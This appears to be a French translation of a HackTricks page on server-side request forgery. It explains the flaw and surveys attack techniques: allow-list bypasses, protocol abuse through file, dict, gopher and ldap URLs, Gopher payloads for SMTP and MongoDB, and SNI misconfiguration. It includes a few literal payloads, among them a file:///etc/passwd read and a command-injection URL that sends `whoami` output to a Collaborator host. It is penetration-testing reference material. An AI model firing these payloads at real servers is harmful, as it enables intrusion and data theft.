SSRF (Server Side Request Forgery)
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%252Fimage%2520%283%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=90010f00&sv=1)
Utilisez Trickest pour construire facilement et automatiser des workflows alimentés par les outils communautaires les plus avancés au monde. Accédez dès aujourd'hui à :
Informations de base
Une vulnérabilité de Server-side Request Forgery (SSRF) se produit lorsqu'un attaquant manipule une application côté serveur pour effectuer des requêtes HTTP vers un domaine de son choix. Cette vulnérabilité expose le serveur à des requêtes externes arbitraires dirigées par l'attaquant.
Capture SSRF
La première chose à faire est de capturer une interaction SSRF générée par vous. Pour capturer une interaction HTTP ou DNS, vous pouvez utiliser des outils tels que :
Burp Collaborator
https://github.com/dwisiswant0/ngocok - Un Burp Collaborator utilisant ngrok
Contourner les domaines autorisés
Généralement, vous constaterez que le SSRF ne fonctionne que dans des domaines ou URL spécifiques autorisés. Sur la page suivante, vous trouverez une compilation de techniques à essayer pour contourner cette liste blanche :
URL Format BypassContournement via redirection ouverte
Si le serveur est correctement protégé, vous pourriez contourner toutes les restrictions en exploitant une redirection ouverte à l'intérieur de la page web. Comme la page web autorisera le SSRF vers le même domaine et suivra probablement les redirections, vous pouvez exploiter la redirection ouverte pour amener le serveur à accéder à n'importe quelle ressource interne. En savoir plus ici : https://portswigger.net/web-security/ssrf
Protocoles
file://
Le schéma d'URL
file://
est référencé, pointant directement vers/etc/passwd
:file:///etc/passwd
dict://
Le schéma d'URL DICT est décrit comme étant utilisé pour accéder à des définitions ou des listes de mots via le protocole DICT. Un exemple donné illustre une URL construite ciblant un mot spécifique, une base de données et un numéro d'entrée, ainsi qu'une instance d'un script PHP potentiellement utilisé de manière abusive pour se connecter à un serveur DICT en utilisant des identifiants fournis par l'attaquant :
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Identifié comme un protocole de transfert de fichiers sécurisé via shell sécurisé, un exemple est fourni montrant comment un script PHP pourrait être exploité pour se connecter à un serveur SFTP malveillant :
url=sftp://generic.com:11111/
TFTP://
Le protocole Trivial File Transfer Protocol, fonctionnant sur UDP, est mentionné avec un exemple d'un script PHP conçu pour envoyer une requête à un serveur TFTP. Une requête TFTP est envoyée à 'generic.com' sur le port '12346' pour le fichier 'TESTUDPPACKET' :
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Ce segment couvre le protocole Lightweight Directory Access Protocol, en soulignant son utilisation pour gérer et accéder à des services d'annuaire distribués sur des réseaux IP. Interagissez avec un serveur LDAP en local :
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
Une méthode est décrite pour exploiter les vulnérabilités SSRF pour interagir avec les services SMTP en local, y compris les étapes pour révéler les noms de domaine internes et les actions d'investigation supplémentaires basées sur ces informations.
Curl URL globbing - Contournement de WAF
Si le SSRF est exécuté par curl, curl dispose d'une fonctionnalité appelée URL globbing qui pourrait être utile pour contourner les WAF. Par exemple, dans ce writeup, vous pouvez trouver cet exemple de traversal de chemin via le protocole
file
:
Gopher://
La capacité du protocole Gopher à spécifier l'IP, le port et les octets pour la communication avec le serveur est discutée, aux côtés d'outils comme Gopherus et remote-method-guesser pour la création de charges utiles. Deux utilisations distinctes sont illustrées :
Gopher://
En utilisant ce protocole, vous pouvez spécifier l'IP, le port et les octets que vous souhaitez que le serveur envoie. Ensuite, vous pouvez essentiellement exploiter une SSRF pour communiquer avec n'importe quel serveur TCP (mais vous devez savoir comment parler au service en premier lieu). Heureusement, vous pouvez utiliser Gopherus pour créer des charges utiles pour plusieurs services. De plus, remote-method-guesser peut être utilisé pour créer des charges utiles gopher pour les services Java RMI.
Gopher smtp
Gopher HTTP
Gopher SMTP — Connexion arrière vers 1337
Gopher MongoDB -- Créez un utilisateur avec le nom d'utilisateur=admin avec le mot de passe=admin123 et avec les permissions=adminstrateur
SSRF via l'en-tête Referrer & Autres
Les logiciels d'analyse sur les serveurs enregistrent souvent l'en-tête Referrer pour suivre les liens entrants, une pratique qui expose involontairement les applications aux vulnérabilités de falsification de requête côté serveur (SSRF). Cela est dû au fait que de tels logiciels peuvent visiter des URL externes mentionnées dans l'en-tête Referrer pour analyser le contenu du site de référence. Pour découvrir ces vulnérabilités, le plugin Burp Suite "Collaborator Everywhere" est recommandé, en exploitant la manière dont les outils d'analyse traitent l'en-tête Referer pour identifier les surfaces d'attaque SSRF potentielles.
SSRF via les données SNI du certificat
Une mauvaise configuration qui pourrait permettre la connexion à n'importe quel backend via une configuration simple est illustrée avec un exemple de configuration Nginx :
Dans cette configuration, la valeur du champ Server Name Indication (SNI) est directement utilisée comme adresse du backend. Cette configuration expose une vulnérabilité à la falsification de requête côté serveur (SSRF), qui peut être exploitée en spécifiant simplement l'adresse IP ou le nom de domaine souhaité dans le champ SNI. Un exemple d'exploitation pour forcer une connexion à un backend arbitraire, tel que internal.host.com
, en utilisant la commande openssl
, est donné ci-dessous:
SSRF avec Injection de Commande
Il pourrait être intéressant d'essayer une charge utile comme: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Rendu de PDF
Si la page web crée automatiquement un PDF avec des informations que vous avez fournies, vous pouvez insérer du JS qui sera exécuté par le créateur de PDF lui-même (le serveur) lors de la création du PDF et vous pourrez abuser d'un SSRF. Trouvez plus d'informations ici.
De SSRF à DoS
Créez plusieurs sessions et essayez de télécharger des fichiers lourds en exploitant le SSRF à partir des sessions.
Fonctions PHP SSRF
PHP SSRFSSRF Rediriger vers Gopher
Pour certaines exploitations, vous pourriez avoir besoin de envoyer une réponse de redirection (potentiellement pour utiliser un protocole différent comme gopher). Voici différents codes python pour répondre avec une redirection:
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F2088318145-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Frq9WIQinJaxpWMvakjIQ%252Fuploads%252Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%252Fimage%2520%283%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29%2520%281%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=90010f00&sv=1)
Utilisez Trickest pour construire facilement et automatiser des workflows alimentés par les outils communautaires les plus avancés au monde. Accédez dès aujourd'hui à :
Proxies mal configurés pour SSRF
Astuces de cet article.
Flask
Last updated